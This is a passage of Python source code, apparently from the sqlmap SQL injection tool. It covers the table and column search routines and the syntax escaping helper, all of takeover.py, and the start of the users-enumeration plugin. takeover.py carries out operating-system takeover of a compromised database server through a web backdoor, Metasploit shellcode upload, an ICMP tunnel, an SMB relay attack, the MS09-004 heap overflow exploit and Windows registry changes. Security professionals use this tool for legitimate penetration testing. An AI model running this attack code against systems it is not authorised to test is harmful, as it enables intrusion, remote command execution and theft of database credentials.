'N': return elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.tbl.split(',')) return tableExists(paths.COMMON_TABLES, regex) foundTbls = {} tblList = conf.tbl.split(',') rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblConsider, tblCondParam = self.likeOrExact("table") for tbl in tblList: values = [] tbl = safeSQLIdentificatorNaming(tbl, True) if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: tbl = tbl.upper() conf.db = conf.db.upper() if conf.db else conf.db infoMsg = "searching table" if tblConsider == '1': infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if dbCond and conf.db: _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND '%s' != %s" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList) msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(msg) else: whereDbsQuery = "" if dbCond and conf.exclude: whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query query = query % (tblQuery + whereDbsQuery) values = inject.getValue(query, blind=False, time=False) if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): newValues = [] if isinstance(values, six.string_types): values = [values] for value in values: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" newValues.append(["%s%s" % (dbName, METADB_SUFFIX), value]) values = newValues for foundDb, foundTbl in filterPairValues(values): foundDb = safeSQLIdentificatorNaming(foundDb) foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundDb is None or foundTbl is None: continue if foundDb in foundTbls: foundTbls[foundDb].append(foundTbl) else: foundTbls[foundDb] = [foundTbl] if not values and isInferenceAvailable() and not conf.direct: if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): if len(whereDbsQuery) == 0: infoMsg = "fetching number of databases with table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) query = rootQuery.blind.count query = query % (tblQuery + whereDbsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.warning(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (tblQuery + whereDbsQuery) query = agent.limitQuery(index, query) foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False)) foundDb = safeSQLIdentificatorNaming(foundDb) if foundDb not in foundTbls: foundTbls[foundDb] = [] if tblConsider == "2": foundTbls[foundDb].append(tbl) if tblConsider == "2": continue else: for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] else: dbName = "SQLite" if Backend.isDbms(DBMS.SQLITE) else "Firebird" foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = [] for db in foundTbls: db = safeSQLIdentificatorNaming(db) infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warning(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if " ORDER BY " in query: query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery)) elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % tblQuery else: query += " AND %s" % tblQuery if Backend.isDbms(DBMS.FIREBIRD): query = safeStringFormat(query, index) if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD): query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) if not Backend.isDbms(DBMS.FIREBIRD): query = agent.limitQuery(index, query) foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(foundTbl): kb.hintValue = foundTbl foundTbl = safeSQLIdentificatorNaming(foundTbl, True) foundTbls[db].append(foundTbl) for db in list(foundTbls.keys()): if isNoneValue(foundTbls[db]): del foundTbls[db] if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): bruteForce = False self.forceDbmsEnum() if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " if readInput(message, default='Y', boolean=True): self.dumpAll() return rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereDbsQuery = "" whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(',') if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition2 tblCond = rootQuery.inband.condition3 colConsider, colCondParam = self.likeOrExact("column") for column in colList: values = [] column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: column = column.upper() conf.db = conf.db.upper() if conf.db else conf.db conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl infoMsg = "searching column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if tblCond: if conf.tbl: tbls = conf.tbl.split(',') if conf.exclude: tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if dbCond: if conf.db: _ = conf.db.split(',') whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) elif conf.excludeSysDbs: whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(msg) else: infoMsgDb = " across all databases" if conf.exclude: whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if not all((conf.db, conf.tbl)): # Enumerate tables containing the column provided if # either of database(s) or table(s) is not provided query = rootQuery.inband.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) values = inject.getValue(query, blind=False, time=False) else: # Assume provided databases' tables contain the # column(s) provided values = [] for db in conf.db.split(','): for tbl in conf.tbl.split(','): values.append([safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(tbl, True)]) for db, tbl in filterPairValues(values): db = safeSQLIdentificatorNaming(db) tbls = tbl.split(',') if not isNoneValue(tbl) else [] for tbl in tbls: tbl = safeSQLIdentificatorNaming(tbl, True) if db is None or tbl is None: continue conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] kb.data.cachedColumns = {} if not values and isInferenceAvailable() and not conf.direct: if not conf.db: infoMsg = "fetching number of databases with tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) query = rootQuery.blind.count query = query % (colQuery + whereDbsQuery + whereTblsQuery) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no databases have tables containing column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) logger.warning("%s%s" % (warnMsg, infoMsgTbl)) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (colQuery + whereDbsQuery + whereTblsQuery) query = agent.limitQuery(index, query) db = unArrayizeValue(inject.getValue(query, union=False, error=False)) db = safeSQLIdentificatorNaming(db) if db not in dbs: dbs[db] = {} if db not in foundCols[column]: foundCols[column][db] = [] else: for db in conf.db.split(',') if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] origDb = conf.db origTbl = conf.tbl for column, dbData in foundCols.items(): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in dbData: conf.db = origDb conf.tbl = origTbl infoMsg = "fetching number of tables containing column" if colConsider == "1": infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(column), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count2 if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): query = query % unsafeSQLIdentificatorNaming(db) query += " AND %s" % colQuery else: query = query % colQuery query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(column) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warning(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query2 if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): query = query % (colQuery + whereTblsQuery) elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) elif " ORDER BY " in query: query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) else: query += " AND %s" % (colQuery + whereTblsQuery) query = safeStringFormat(query, unsafeSQLIdentificatorNaming(db)) query = agent.limitQuery(index, query) tbl = unArrayizeValue(inject.getValue(query, union=False, error=False)) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: if db not in dbs: dbs[db] = {} if tbl not in dbs[db]: dbs[db][tbl] = {} dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} if db in foundCols[column]: foundCols[column][db].append(tbl) else: foundCols[column][db] = [tbl] if dbs: conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) else: warnMsg = "no databases have tables containing any of the " warnMsg += "provided columns" logger.warning(warnMsg) def search(self): if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) if conf.col: self.searchColumn() elif conf.tbl: self.searchTable() elif conf.db: self.searchDb() else: errMsg = "missing parameter, provide -D, -T or -C along " errMsg += "with --search" raise SqlmapMissingMandatoryOptionException(errMsg) ================================================ FILE: plugins/generic/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import Backend from lib.core.convert import getBytes from lib.core.data import conf from lib.core.enums import DBMS from lib.core.exception import SqlmapUndefinedMethod class Syntax(object): """ This class defines generic syntax functionalities for plugins. """ def __init__(self): pass @staticmethod def _escape(expression, quote=True, escaper=None): retVal = expression if quote: for item in re.findall(r"'[^']*'+", expression): original = item[1:-1] if original: if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: continue if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker replacement = escaper(original) if not conf.noEscape else original if replacement != original: retVal = retVal.replace(item, replacement) elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): retVal = retVal.replace("'%s'" % original, "n'%s'" % original) else: retVal = escaper(expression) return retVal @staticmethod def escape(expression, quote=True): errMsg = "'escape' method must be defined " errMsg += "inside the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) ================================================ FILE: plugins/generic/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import Backend from lib.core.common import getSafeExString from lib.core.common import isDigit from lib.core.common import isStackingAvailable from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit from lib.takeover.registry import Registry class Takeover(Abstraction, Metasploit, ICMPsh, Registry): """ This class defines generic OS takeover functionalities for plugins. """ def __init__(self): self.cmdTblName = ("%soutput" % conf.tablePrefix) self.tblField = "data" Abstraction.__init__(self) def osCmd(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) web = True else: errMsg = "unable to execute operating system commands via " errMsg += "the back-end DBMS" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() self.initEnv(web=web) if not web or (web and self.webBackdoorUrl is not None): self.runCmd(conf.osCmd) if not conf.osShell and not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osShell(self): if isStackingAvailable() or conf.direct: web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg) web = True else: errMsg = "unable to prompt for an interactive operating " errMsg += "system shell via the back-end DBMS because " errMsg += "stacked queries SQL injection is not supported" raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() try: self.initEnv(web=web) except SqlmapFilePathException: if not web and not conf.direct: infoMsg = "falling back to web backdoor method..." logger.info(infoMsg) web = True kb.udfFail = True self.initEnv(web=web) else: raise if not web or (web and self.webBackdoorUrl is not None): self.shell() if not conf.osPwn and not conf.cleanup: self.cleanup(web=web) def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if isDigit(tunnel) and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warning(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: __import__("impacket") except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "https://github.com/SecureAuthCorp/impacket" raise SqlmapMissingDependence(errMsg) filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(filename): try: with openFile(filename, "wb") as f: f.write(b"1") except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') if isDigit(choice) and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warning(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms(DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms(DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warning(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web) def osSmb(self): self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows: it is not possible to perform the SMB " errMsg += "relay attack" raise SqlmapUnsupportedDBMSException(errMsg) if not isStackingAvailable() and not conf.direct: if Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.MSSQL): errMsg = "on this back-end DBMS it is only possible to " errMsg += "perform the SMB relay attack if stacked " errMsg += "queries are supported" raise SqlmapUnsupportedDBMSException(errMsg) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "since stacked queries are not supported, " debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "attack via inference blind SQL injection" logger.debug(debugMsg) printWarn = True warnMsg = "it is unlikely that this attack will be successful " if Backend.isDbms(DBMS.MYSQL): warnMsg += "because by default MySQL on Windows runs as " warnMsg += "Local System which is not a real user, it does " warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "a SMB service" elif Backend.isDbms(DBMS.PGSQL): warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "as postgres user which is a real user of the " warnMsg += "system, but not within the Administrators group" elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): warnMsg += "because often Microsoft SQL Server %s " % Backend.getVersion() warnMsg += "runs as Network Service which is not a real user, " warnMsg += "it does not send the NTLM session hash when " warnMsg += "connecting to a SMB service" else: printWarn = False if printWarn: logger.warning(warnMsg) self.smb() def osBof(self): if not isStackingAvailable() and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " if readInput(msg, default='N', boolean=True): self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof() def uncPathRequest(self): errMsg = "'uncPathRequest' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def _regInit(self): if not isStackingAvailable() and not conf.direct: return self.checkDbmsOs() if not Backend.isOs(OS.WINDOWS): errMsg = "the back-end DBMS underlying operating system is " errMsg += "not Windows" raise SqlmapUnsupportedDBMSException(errMsg) self.initEnv() self.getRemoteTempPath() def regRead(self): self._regInit() if not conf.regKey: default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) else: regKey = conf.regKey if not conf.regVal: default = "ProductName" msg = "which registry key value do you want to read? [%s] " % default regVal = readInput(msg, default=default) else: regVal = conf.regVal infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal) logger.info(infoMsg) return self.readRegKey(regKey, regVal, True) def regAdd(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to write? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to write? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal if not conf.regData: msg = "which registry key value data do you want to write? " regData = readInput(msg) if not regData: raise SqlmapMissingMandatoryOptionException(errMsg) else: regData = conf.regData if not conf.regType: default = "REG_SZ" msg = "which registry key value data-type is it? " msg += "[%s] " % default regType = readInput(msg, default=default) else: regType = conf.regType infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal) infoMsg += "with data '%s'. " % regData infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.addRegKey(regKey, regVal, regType, regData) def regDel(self): self._regInit() errMsg = "missing mandatory option" if not conf.regKey: msg = "which registry key do you want to delete? " regKey = readInput(msg) if not regKey: raise SqlmapMissingMandatoryOptionException(errMsg) else: regKey = conf.regKey if not conf.regVal: msg = "which registry key value do you want to delete? " regVal = readInput(msg) if not regVal: raise SqlmapMissingMandatoryOptionException(errMsg) else: regVal = conf.regVal message = "are you sure that you want to delete the Windows " message += "registry path '%s\\%s? [y/N] " % (regKey, regVal) if not readInput(message, default='N', boolean=True): return infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal) infoMsg += "This will work only if the user running the database " infoMsg += "process has privileges to modify the Windows registry." logger.info(infoMsg) self.delRegKey(regKey, regVal) ================================================ FILE: plugins/generic/users.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNullValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.compat import xrange from lib.core.convert import encodeHex from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DB2_PRIVS from lib.core.dicts import FIREBIRD_PRIVS from lib.core.dicts import INFORMIX_PRIVS from lib.core.dicts import MYSQL_PRIVS from lib.core.dicts import PGSQL_PRIVS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_USER from lib.core.settings import PLUS_ONE_DBMSES from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable from thirdparty.six.moves import zip as _zip class Users(object): """ This class defines users' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentUser = "" kb.data.isDba = None kb.data.cachedUsers = [] kb.data.cachedUsersPasswords = {} kb.data.cachedUsersPrivileges = {} kb.data.cachedUsersRoles = {} def getCurrentUser(self): infoMsg = "fetching current user" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_user.query if not kb.data.currentUser: kb.data.currentUser = unArrayizeValue(inject.getValue(query)) return kb.data.currentUser def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) query = None if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): kb.data.isDba = "root" in (kb.data.currentUser or "") elif kb.data.currentUser: query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query if query: query = agent.forgeCaseStatement(query) kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", 